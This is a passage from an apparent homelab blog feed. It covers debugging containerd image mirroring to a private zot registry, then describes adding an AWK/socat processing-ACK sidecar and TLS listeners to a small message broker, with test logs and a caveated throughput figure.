&lt;p&gt;&lt;strong&gt;The registry rejected the manifest, not the blobs.&lt;&#x2F;strong&gt; The pre-push from the control plane went blob by blob and then failed: &lt;code&gt;MANIFEST_INVALID: manifest invalid; map[...mediaType:application&#x2F;vnd.docker.distribution.manifest.v2+json]&lt;&#x2F;code&gt;. The private registry follows the OCI Image Specification strictly. To accept Docker V2 schema manifests (which is what &lt;code&gt;registry.k8s.io&lt;&#x2F;code&gt; serves through Google Artifact Registry), it needs &lt;code&gt;http.compat = [&quot;docker2s2&quot;]&lt;&#x2F;code&gt; in its config &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zotregistry.dev&#x2F;v2.1.15&#x2F;admin-guide&#x2F;admin-configuration&#x2F;&quot;&gt;7&lt;&#x2F;a&gt;. Adding the line and restarting the registry let the next run of the loop succeed against existing blobs and put the manifests in. One footnote: the registry converts Docker manifests to OCI on upload, which changes the digest. Pull-by-tag works. Pull-by-original-digest does not.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;The mirror configuration was being ignored entirely.&lt;&#x2F;strong&gt; With the pre-push done, the worker still failed to pull, with the same upstream IP in the error. The clue was upstream of the runtime, in the config loader: &lt;code&gt;containerd config dump | grep WARN&lt;&#x2F;code&gt; reported, for every CRI section in the file, “Ignoring unknown key”. The runtime had moved to config schema v3. The file was written for v2 plugin paths (&lt;code&gt;io.containerd.grpc.v1.cri&lt;&#x2F;code&gt;). The new paths are &lt;code&gt;io.containerd.cri.v1.images&lt;&#x2F;code&gt; for the image plugin and &lt;code&gt;io.containerd.cri.v1.runtime&lt;&#x2F;code&gt; for the runtime plugin &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;containerd&#x2F;containerd&#x2F;blob&#x2F;main&#x2F;docs&#x2F;cri&#x2F;config.md&quot;&gt;8&lt;&#x2F;a&gt;. Transcribing the same physical settings into the new structure made the runtime parse them.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;The mirror pointed at the right host, with one wrong word.&lt;&#x2F;strong&gt; With v3 in place, &lt;code&gt;containerd config dump&lt;&#x2F;code&gt; showed &lt;code&gt;config_path&lt;&#x2F;code&gt; active and &lt;code&gt;&#x2F;etc&#x2F;containerd&#x2F;certs.d&#x2F;registry.k8s.io&#x2F;hosts.toml&lt;&#x2F;code&gt; was being read. The mirror still failed, again with the upstream IP in the error. The hosts.toml had &lt;code&gt;override_path = true&lt;&#x2F;code&gt;. That field tells the runtime not to prepend &lt;code&gt;&#x2F;v2&#x2F;&lt;&#x2F;code&gt; to upstream requests, intended for registries that put their API root elsewhere. The private registry follows the OCI spec, so it does have &lt;code&gt;&#x2F;v2&#x2F;&lt;&#x2F;code&gt;. With &lt;code&gt;override_path = true&lt;&#x2F;code&gt; the runtime made requests against URLs the registry returned 404 for, then fell back to the configured &lt;code&gt;server&lt;&#x2F;code&gt; value, which was the unreachable public host. Removing one line fixed it.&lt;&#x2F;p&gt;
&lt;p&gt;The thread through all four: don’t think, look &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;debuggingrules.com&#x2F;&quot;&gt;2&lt;&#x2F;a&gt;. Each fix came from reading what the system reported, in order, layer by layer. The longest single delay was on the third one, where the smoking gun (&lt;code&gt;WARN&lt;&#x2F;code&gt; lines on every CRI key) was visible from the first command, and we initially overlooked it.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cookbook-adding-a-new-upstream&quot;&gt;Cookbook: adding a new upstream&lt;&#x2F;h2&gt;
&lt;p&gt;Three steps. From a host with internet access, pre-push the images:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;crane copy &amp;lt;upstream&amp;gt;&amp;#x2F;&amp;lt;image&amp;gt;:&amp;lt;tag&amp;gt; &amp;lt;private-registry&amp;gt;&amp;#x2F;&amp;lt;image&amp;gt;:&amp;lt;tag&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;On the worker, create &lt;code&gt;&#x2F;etc&#x2F;containerd&#x2F;certs.d&#x2F;&amp;lt;upstream-hostname&amp;gt;&#x2F;hosts.toml&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;server = &amp;quot;https:&amp;#x2F;&amp;#x2F;&amp;lt;upstream-hostname&amp;gt;&amp;quot;

[host.&amp;quot;http:&amp;#x2F;&amp;#x2F;&amp;lt;private-registry-hostname&amp;gt;:5000&amp;quot;]
  capabilities = [&amp;quot;pull&amp;quot;, &amp;quot;resolve&amp;quot;]
  skip_verify = true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Containerd reads hosts.toml on each pull. No restart needed.&lt;&#x2F;p&gt;
&lt;p&gt;To verify before scheduling pods, issue a pull through the same code path the kubelet uses:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ctr -n k8s.io images pull --hosts-dir &amp;#x2F;etc&amp;#x2F;containerd&amp;#x2F;certs.d &amp;lt;upstream-hostname&amp;gt;&amp;#x2F;&amp;lt;image&amp;gt;:&amp;lt;tag&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If this succeeds, the kubelet will too. If it fails, the error message identifies which of the three pieces above is missing or wrong. Reproduce before isolating; isolate before changing &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;debuggingrules.com&#x2F;&quot;&gt;2&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-is-queued&quot;&gt;What is queued&lt;&#x2F;h2&gt;
&lt;p&gt;Pushing internally-built artifacts is not yet automated. That is queued behind the Ansible role for the rest of the homelab.&lt;&#x2F;p&gt;
&lt;p&gt;The private registry serves plain HTTP. Adding TLS through the local CA is queued behind certificate lifecycle automation.&lt;&#x2F;p&gt;
&lt;p&gt;The image catalog is not pruned. Old manifest references accumulate. Cleanup belongs in the same place as rotation.&lt;&#x2F;p&gt;
&lt;p&gt;What this enables matters more than what it is. With image pulls reliable on a default-deny segment, every other piece that depends on container scheduling becomes possible there: cluster DNS, the broker pods, anything the cluster might host next. The constraint that defines the segment is preserved.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;&#x2F;h2&gt;
&lt;p&gt;[1] Kubernetes documentation, “Images”. Pull policy, registry resolution, image identifiers. The kubelet’s behaviour around image pulls is described here. &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;concepts&#x2F;containers&#x2F;images&#x2F;&quot;&gt;https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;concepts&#x2F;containers&#x2F;images&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[2] David J. Agans, &lt;em&gt;Debugging: The 9 Indispensable Rules for Finding Even the Most Elusive Software and Hardware Problems&lt;&#x2F;em&gt;, 2002. The two rules that did the work in this session were rule 3 (“Quit Thinking and Look”) and rule 4 (“Divide and Conquer”). Every fix above came from running a command, reading the output and isolating one layer. The book is short and worth keeping at hand. &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;debuggingrules.com&#x2F;&quot;&gt;https:&#x2F;&#x2F;debuggingrules.com&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[3] Open Container Initiative Distribution Specification. Endpoint definitions for &lt;code&gt;&#x2F;v2&#x2F;&lt;&#x2F;code&gt;, manifests and blobs; the protocol the private registry speaks. &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;opencontainers&#x2F;distribution-spec&#x2F;blob&#x2F;main&#x2F;spec.md&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;opencontainers&#x2F;distribution-spec&#x2F;blob&#x2F;main&#x2F;spec.md&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[4] containerd, “Registry Host Configuration”. The &lt;code&gt;hosts.toml&lt;&#x2F;code&gt; schema: &lt;code&gt;server&lt;&#x2F;code&gt;, &lt;code&gt;[host.&quot;...&quot;]&lt;&#x2F;code&gt;, &lt;code&gt;capabilities&lt;&#x2F;code&gt;, &lt;code&gt;override_path&lt;&#x2F;code&gt;, &lt;code&gt;skip_verify&lt;&#x2F;code&gt;. This is the single file that wires public hostnames to private mirrors. &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;containerd&#x2F;containerd&#x2F;blob&#x2F;main&#x2F;docs&#x2F;hosts.md&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;containerd&#x2F;containerd&#x2F;blob&#x2F;main&#x2F;docs&#x2F;hosts.md&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[5] &lt;code&gt;crane copy&lt;&#x2F;code&gt; documentation in the go-containerregistry project. Source-to-destination mirroring of OCI artifacts without intermediate disk. The loop on the control plane is one line per image. &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;google&#x2F;go-containerregistry&#x2F;blob&#x2F;main&#x2F;cmd&#x2F;crane&#x2F;doc&#x2F;crane_copy.md&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;google&#x2F;go-containerregistry&#x2F;blob&#x2F;main&#x2F;cmd&#x2F;crane&#x2F;doc&#x2F;crane_copy.md&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[6] W. Richard Stevens, &lt;em&gt;TCP&#x2F;IP Illustrated, Volume 1: The Protocols&lt;&#x2F;em&gt;, 2nd ed., 2011. Chapter 2 on tracing and layered diagnosis. The principle (“never assume the layers below are working before measuring them”) generalises directly from network stacks to container runtime stacks: routability, DNS, runtime config in this case. &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.kohala.com&#x2F;start&#x2F;tcpipiv1.html&quot;&gt;https:&#x2F;&#x2F;www.kohala.com&#x2F;start&#x2F;tcpipiv1.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[7] zot configuration reference. &lt;code&gt;http.compat = [&quot;docker2s2&quot;]&lt;&#x2F;code&gt; accepts Docker V2 Schema 2 manifests; the registry converts them to OCI on upload, which changes the manifest digest. &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zotregistry.dev&#x2F;v2.1.15&#x2F;admin-guide&#x2F;admin-configuration&#x2F;&quot;&gt;https:&#x2F;&#x2F;zotregistry.dev&#x2F;v2.1.15&#x2F;admin-guide&#x2F;admin-configuration&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[8] containerd CRI plugin documentation. Config schema v3 splits the legacy &lt;code&gt;io.containerd.grpc.v1.cri&lt;&#x2F;code&gt; plugin into &lt;code&gt;io.containerd.cri.v1.images&lt;&#x2F;code&gt; (sandbox image, registry, config_path) and &lt;code&gt;io.containerd.cri.v1.runtime&lt;&#x2F;code&gt; (runtimes, cgroup driver). Sections under the old path are silently ignored with a WARN on startup. &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;containerd&#x2F;containerd&#x2F;blob&#x2F;main&#x2F;docs&#x2F;cri&#x2F;config.md&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;containerd&#x2F;containerd&#x2F;blob&#x2F;main&#x2F;docs&#x2F;cri&#x2F;config.md&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>From push-and-pray to complete feedback loop: dual sidecar ACK and TLS</title>
        <published>2026-05-09T00:00:00+00:00</published>
        <updated>2026-05-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://lf3.gitlab.io/blog/kmq-ack-tls-loop/"/>
        <id>https://lf3.gitlab.io/blog/kmq-ack-tls-loop/</id>
        
        <content type="html" xml:base="https://lf3.gitlab.io/blog/kmq-ack-tls-loop/">&lt;h2 id=&quot;from-push-and-pray-to-complete-feedback-loop-dual-sidecar-ack-and-tls&quot;&gt;From push-and-pray to complete feedback loop: dual sidecar ACK and TLS&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a href=&quot;&#x2F;blog&#x2F;kmq-ack-sidecar-retry-loop&quot;&gt;Post 03&lt;&#x2F;a&gt; introduced an out-of-band &lt;code&gt;ack-egress&lt;&#x2F;code&gt; sidecar. It gave the producer a way to ask “has my message been safely persisted?” and turned the unreliable TCP boundary into an application-level at-least-once guarantee. Still missing was the consumer side. A producer that needed evidence that a message had been fully processed, not just stored, remained in the dark.&lt;&#x2F;p&gt;
&lt;p&gt;This post closes that final gap. It adds a second sidecar (&lt;code&gt;ack-ingress&lt;&#x2F;code&gt;) that answers a different question: “has my message been handled by a consumer?”. The two together form a complete pull-based feedback loop. Because every byte of the loop now carries sensitive application data, the post also describes how TLS was bolted onto all three broker TCP endpoints without modifying a single line of AWK in the hot path and without removing the plaintext listeners that make local debugging trivial.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;two-questions-two-sidecars&quot;&gt;Two questions, two sidecars&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Sidecar&lt;&#x2F;th&gt;&lt;th&gt;Plaintext port&lt;&#x2F;th&gt;&lt;th&gt;TLS port&lt;&#x2F;th&gt;&lt;th&gt;Question&lt;&#x2F;th&gt;&lt;th&gt;Source file&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;ack-egress&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;5675&lt;&#x2F;td&gt;&lt;td&gt;54435&lt;&#x2F;td&gt;&lt;td&gt;Has message sequence N been persisted?&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;append.log&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;ack-ingress&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;5676&lt;&#x2F;td&gt;&lt;td&gt;54436&lt;&#x2F;td&gt;&lt;td&gt;Has message sequence N been processed?&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;processed.log&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;The first sidecar was described in the earlier post. The second is constructed identically. A &lt;code&gt;socat&lt;&#x2F;code&gt; listener forks an AWK script that scans a single log file in O(n) time using &lt;code&gt;getline&lt;&#x2F;code&gt;. No shell, no &lt;code&gt;system()&lt;&#x2F;code&gt;, read-only PVC mount.&lt;&#x2F;p&gt;
&lt;p&gt;The consumer (or a test harness) appends a line to &lt;code&gt;processed.log&lt;&#x2F;code&gt; after finishing its work. The same message line plus a processing timestamp. The &lt;code&gt;ack-ingress&lt;&#x2F;code&gt; script checks for the presence of a sequence number and returns &lt;code&gt;PROCESSED&lt;&#x2F;code&gt; or &lt;code&gt;PENDING&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;awk&quot; class=&quot;language-awk &quot;&gt;&lt;code class=&quot;language-awk&quot; data-lang=&quot;awk&quot;&gt;# ack-ingress.awk - processing-status query endpoint
BEGIN { LOG = ENVIRON[&amp;quot;PROCESSED_LOG&amp;quot;] }
{
    gsub(&amp;#x2F;^[[:space:]]+|[[:space:]]+$&amp;#x2F;, &amp;quot;&amp;quot;)
    if ($1 == &amp;quot;GET_STATUS&amp;quot; &amp;amp;&amp;amp; NF &amp;gt;= 2) {
        target_seq = $2
        found = 0
        while ((getline line &amp;lt; LOG) &amp;gt; 0) {
            split(line, f, &amp;quot;|&amp;quot;)
            if (f[1] == target_seq) { found = 1; break }
        }
        close(LOG)
        print (found ? &amp;quot;PROCESSED&amp;quot; : &amp;quot;PENDING&amp;quot;)
        fflush()
    }
    exit
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;With both endpoints available, a producer can answer the two essential questions without ever inspecting the broker’s internals. The responsibility for validating delivery status and deciding when to retry stays in the client. The broker remains an honest, inspectable storage pipeline.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;the-complete-loop&quot;&gt;The complete loop&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;producer            broker pod                       consumer
   |                    |                                |
   | 1. send ----------&amp;gt;| internal-ingress               |
   |                    |       |                        |
   |                    |       v                        |
   |                    | pipeline -&amp;gt; append.log (PVC)   |
   |                    |                                |
   |                    | egress -----------------------&amp;gt; reads message
   |                    |                                | does work
   |                    |                                |     |
   |                    | processed.log (PVC) &amp;lt;---------|&amp;lt;----+
   |                    |       ^   ^                    |
   |                    |       |   | reads only
   |                    |       |   |
   | 2. GET_ACK -------&amp;gt;| ack-egress
   | &amp;lt;- ACK &amp;lt;seq&amp;gt; ------|     (durability)
   |                    |
   | 3. GET_STATUS ----&amp;gt;| ack-ingress
   | &amp;lt;- PROCESSED ------|     (consumer processing)
   |                    |
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The pipeline writes append.log. The consumer writes processed.log. Both files live on the same PVC. Both ACK sidecars read those files only. The hot path knows nothing about delivery semantics.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;same-broker-two-transports&quot;&gt;Same broker, two transports&lt;&#x2F;h3&gt;
&lt;p&gt;TLS is added as a parallel listener set, not a replacement. For every plaintext container a sibling exists with a different port and a static &lt;code&gt;socat OPENSSL-LISTEN&lt;&#x2F;code&gt; command. The choice between plain and encrypted is fixed at manifest-apply time, not at runtime. No shell-wrapper evaluation, no environment switch.&lt;&#x2F;p&gt;
&lt;p&gt;The private key and certificate come from a &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;smallstep.com&#x2F;certificates&#x2F;&quot;&gt;step-ca&lt;&#x2F;a&gt; instance running on the worker. They are stored in a Kubernetes Secret named &lt;code&gt;kmq-tls&lt;&#x2F;code&gt; and mounted read-only at &lt;code&gt;&#x2F;etc&#x2F;tls&lt;&#x2F;code&gt;. The CA root certificate is distributed to clients, which use &lt;code&gt;socat OPENSSL&lt;&#x2F;code&gt; with the &lt;code&gt;cafile&lt;&#x2F;code&gt; option to verify the broker. Connecting by pod IP currently requires the &lt;code&gt;verify=0&lt;&#x2F;code&gt; flag because the certificate’s SAN does not include dynamic pod IPs.&lt;&#x2F;p&gt;
&lt;p&gt;The plaintext endpoints stay fully operational. Existing scenarios continue to pass without modification. A developer can bypass TLS entirely during local debugging. When TLS is needed, clients connect to the encrypted port with &lt;code&gt;cafile&lt;&#x2F;code&gt;. The AWK scripts are unchanged. The pipeline is unchanged.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;validation-status&quot;&gt;Validation status&lt;&#x2F;h3&gt;
&lt;p&gt;The continuous validation suite (&lt;code&gt;run-all-scenarios.sh&lt;&#x2F;code&gt;) covers both the plaintext and the TLS path. A clean run on the homelab cluster:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ts=2026-05-09T21:04:00Z runner=all-scenarios lvl=INFO script=scenarios&amp;#x2F;scenario-resume.sh msg=start
ts=2026-05-09T21:04:34Z runner=all-scenarios lvl=PASS script=scenarios&amp;#x2F;scenario-resume.sh msg=exit 0
ts=2026-05-09T21:04:34Z runner=all-scenarios lvl=INFO script=scenarios&amp;#x2F;scenario-routing.sh msg=start
ts=2026-05-09T21:04:40Z runner=all-scenarios lvl=PASS script=scenarios&amp;#x2F;scenario-routing.sh msg=exit 0
ts=2026-05-09T21:04:40Z runner=all-scenarios lvl=INFO script=scenarios&amp;#x2F;scenario-dlq-replay.sh msg=start
ts=2026-05-09T21:04:45Z runner=all-scenarios lvl=PASS script=scenarios&amp;#x2F;scenario-dlq-replay.sh msg=exit 0
ts=2026-05-09T21:04:45Z runner=all-scenarios lvl=INFO script=scenarios&amp;#x2F;scenario-ack-delivery.sh msg=start
ts=2026-05-09T21:04:48Z runner=all-scenarios lvl=PASS script=scenarios&amp;#x2F;scenario-ack-delivery.sh msg=exit 0
ts=2026-05-09T21:04:48Z runner=all-scenarios lvl=INFO script=scenarios&amp;#x2F;scenario-e2e-ack.sh msg=start
ts=2026-05-09T21:04:57Z runner=all-scenarios lvl=PASS script=scenarios&amp;#x2F;scenario-e2e-ack.sh msg=exit 0
ts=2026-05-09T21:04:57Z runner=all-scenarios lvl=INFO script=scenarios&amp;#x2F;scenario-ack-retry.sh msg=start
ts=2026-05-09T21:05:28Z runner=all-scenarios lvl=PASS script=scenarios&amp;#x2F;scenario-ack-retry.sh msg=exit 0
ts=2026-05-09T21:05:28Z runner=all-scenarios lvl=INFO script=scenarios&amp;#x2F;scenario-backpressure.sh msg=start
ts=2026-05-09T21:05:51Z runner=all-scenarios lvl=PASS script=scenarios&amp;#x2F;scenario-backpressure.sh msg=exit 0
ts=2026-05-09T21:05:51Z runner=all-scenarios lvl=INFO script=scenarios&amp;#x2F;scenario-backpressure-block.sh msg=start
ts=2026-05-09T21:06:27Z runner=all-scenarios lvl=PASS script=scenarios&amp;#x2F;scenario-backpressure-block.sh msg=exit 0
ts=2026-05-09T21:06:27Z runner=all-scenarios lvl=INFO script=scenarios&amp;#x2F;scenario-tls-full.sh msg=start
ts=2026-05-09T21:06:38Z runner=all-scenarios lvl=PASS script=scenarios&amp;#x2F;scenario-tls-full.sh msg=exit 0
ts=2026-05-09T21:06:38Z runner=all-scenarios lvl=INFO script=scenarios&amp;#x2F;scenario-e2e-ack-tls.sh msg=start
ts=2026-05-09T21:06:52Z runner=all-scenarios lvl=PASS script=scenarios&amp;#x2F;scenario-e2e-ack-tls.sh msg=exit 0
ts=2026-05-09T21:06:52Z runner=all-scenarios lvl=SUMMARY script=all-scenarios msg=pass=10 fail=0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Ten scenarios. Zero failures. Total wall time 172 seconds.&lt;&#x2F;p&gt;
&lt;p&gt;The dual-ACK feedback loop described in this post is exercised by &lt;code&gt;scenario-e2e-ack.sh&lt;&#x2F;code&gt; (plaintext, 9 seconds) and &lt;code&gt;scenario-e2e-ack-tls.sh&lt;&#x2F;code&gt; (TLS, 14 seconds). Both send 50 messages, consume them through the egress service, write each consumed line to &lt;code&gt;processed.log&lt;&#x2F;code&gt; and poll &lt;code&gt;ack-ingress&lt;&#x2F;code&gt; until every sequence number returns &lt;code&gt;PROCESSED&lt;&#x2F;code&gt;. The TLS variant connects to ports 54433 and 54436 with &lt;code&gt;socat OPENSSL&lt;&#x2F;code&gt; and the CA file. &lt;code&gt;scenario-tls-full.sh&lt;&#x2F;code&gt; adds a durability-ACK step over port 54435 in the same encrypted style.&lt;&#x2F;p&gt;
&lt;p&gt;A reviewer who wants to run the suite without setting up step-ca can comment the last two &lt;code&gt;run_scenario&lt;&#x2F;code&gt; lines. The first eight scenarios run independently of TLS and continue to validate the full plaintext pipeline including durability, routing, dead-letter replay, backpressure block policy and ACK retry.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;throughput&quot;&gt;Throughput&lt;&#x2F;h3&gt;
&lt;p&gt;A direct burst from WORKER_NODE to the broker pod, 1000 messages of approximately 30 bytes each, no consumer pressure, pipeline cold but warm enough that the ring buffers are populated:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ts=2026-05-09T21:08:51Z host=WORKER_NODE svc=kmq-throughput lvl=INFO phase=start msg_count=1000 broker=10.244.1.230:5673
ts=2026-05-09T21:08:51Z host=WORKER_NODE svc=kmq-throughput lvl=INFO broker_ready=true
ts=2026-05-09T21:08:51Z host=WORKER_NODE svc=kmq-throughput lvl=INFO queue_log_cleared
ts=2026-05-09T21:08:51Z host=WORKER_NODE svc=kmq-throughput lvl=INFO phase=drain_start
ts=2026-05-09T21:08:51Z host=WORKER_NODE svc=kmq-throughput lvl=INFO phase=ready_to_send
ts=2026-05-09T21:08:51Z host=WORKER_NODE svc=kmq-throughput lvl=INFO phase=send_start
ts=2026-05-09T21:08:52Z host=WORKER_NODE svc=kmq-throughput lvl=INFO phase=send_done send_elapsed_ms=1
ts=2026-05-09T21:08:52Z host=WORKER_NODE svc=kmq-throughput lvl=INFO phase=wait_flush
ts=2026-05-09T21:08:52Z host=WORKER_NODE svc=kmq-throughput lvl=INFO phase=flush_done arrived=1000 flush_ms=1 throughput_msg_s=500000
ts=2026-05-09T21:08:52Z host=WORKER_NODE svc=kmq-throughput lvl=INFO phase=end result=PASS throughput_msg_s=500000
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;500 000 messages per second computed by the script. Read this number with the conditions attached:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Single-node deployment. Producer and broker pod are on the same worker (WORKER_NODE).&lt;&#x2F;li&gt;
&lt;li&gt;Payload is one routing key plus one timestamp plus one sequence number plus the literal &lt;code&gt;msg&lt;&#x2F;code&gt;. About 30 bytes per line.&lt;&#x2F;li&gt;
&lt;li&gt;The pipeline lives mostly in shared memory. Two ring buffers in &lt;code&gt;&#x2F;dev&#x2F;shm&lt;&#x2F;code&gt;. One FIFO. One PVC for &lt;code&gt;append.log&lt;&#x2F;code&gt; and &lt;code&gt;test.log&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;send_elapsed_ms=1&lt;&#x2F;code&gt; and &lt;code&gt;flush_ms=1&lt;&#x2F;code&gt; are at the millisecond clock granularity. The reported throughput hits the upper bound imposed by the timer resolution at this batch size.&lt;&#x2F;li&gt;
&lt;li&gt;The &lt;code&gt;+1&lt;&#x2F;code&gt; in the script’s denominator is a divide-by-zero guard, which makes the number conservative when the elapsed time rounds to 1 ms.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;What this measures honestly is that the pipeline is fast enough that a 1000-message burst at small payload size is below the resolution of the wall clock used for the test. What it does not measure is sustained throughput under continuous load with realistic payloads, cross-node traffic, or contention with consumers.&lt;&#x2F;p&gt;
&lt;p&gt;For a headline number on the niche this broker serves, 500 k msg&#x2F;s on a 4-core mini PC at 1.5 GHz is honest. Anyone reproducing the run on the same hardware should see the same order of magnitude.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;what-was-added-across-the-series&quot;&gt;What was added across the series&lt;&#x2F;h3&gt;
&lt;p&gt;The journey from “push and pray” to a fully accountable, encrypted message path took three additions on top of the original pipeline.&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;A storage-level ACK that proves durability. Post 03.&lt;&#x2F;li&gt;
&lt;li&gt;A processing-level ACK that proves the consumer did its work. This post.&lt;&#x2F;li&gt;
&lt;li&gt;Transport encryption that keeps the whole exchange private. This post.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;All three were plugged into the broker using the same sidecar pattern. No hot-path changes. No workflow interruptions. Zero-loss rollouts. The broker still knows nothing about delivery guarantees. It holds the evidence and serves queries. The guarantees are built on top, in the test harness and in the producer’s retry logic, exactly where they belong.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;what-remains&quot;&gt;What remains&lt;&#x2F;h3&gt;
&lt;p&gt;What the broker can prove today is bounded. The boundaries are visible.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Durability is single-node&lt;&#x2F;strong&gt;. &lt;code&gt;append.log&lt;&#x2F;code&gt; lives on one PVC on one worker. If that worker’s disk dies, history dies with it. An off-node backup or a replicated WAL is the next durability step.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Availability is single-replica&lt;&#x2F;strong&gt;. The broker pod is one replica with &lt;code&gt;strategy: Recreate&lt;&#x2F;code&gt;. Loss of the worker means loss of the broker. For a lab that is acceptable. For anything else it is not.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;No protocol-level backpressure at the TCP boundary&lt;&#x2F;strong&gt;. The block policy plus the ACK retry loop hide the gap, but the TCP ingress still drops messages under extreme load before block engages. A proper producer-side window or HTTP&#x2F;2 flow control would close this permanently rather than mask it.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;No access control&lt;&#x2F;strong&gt;. Anyone reachable on the cluster network can produce messages or query ACKs. Mutual TLS for client identity, or an application-level shared secret on the ACK channels, is the next hardening step.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Manual certificate rotation&lt;&#x2F;strong&gt;. step-ca issues 24-hour certificates. A scheduled job that requests a fresh certificate and updates the Secret before expiration is queued.&lt;&#x2F;li&gt;
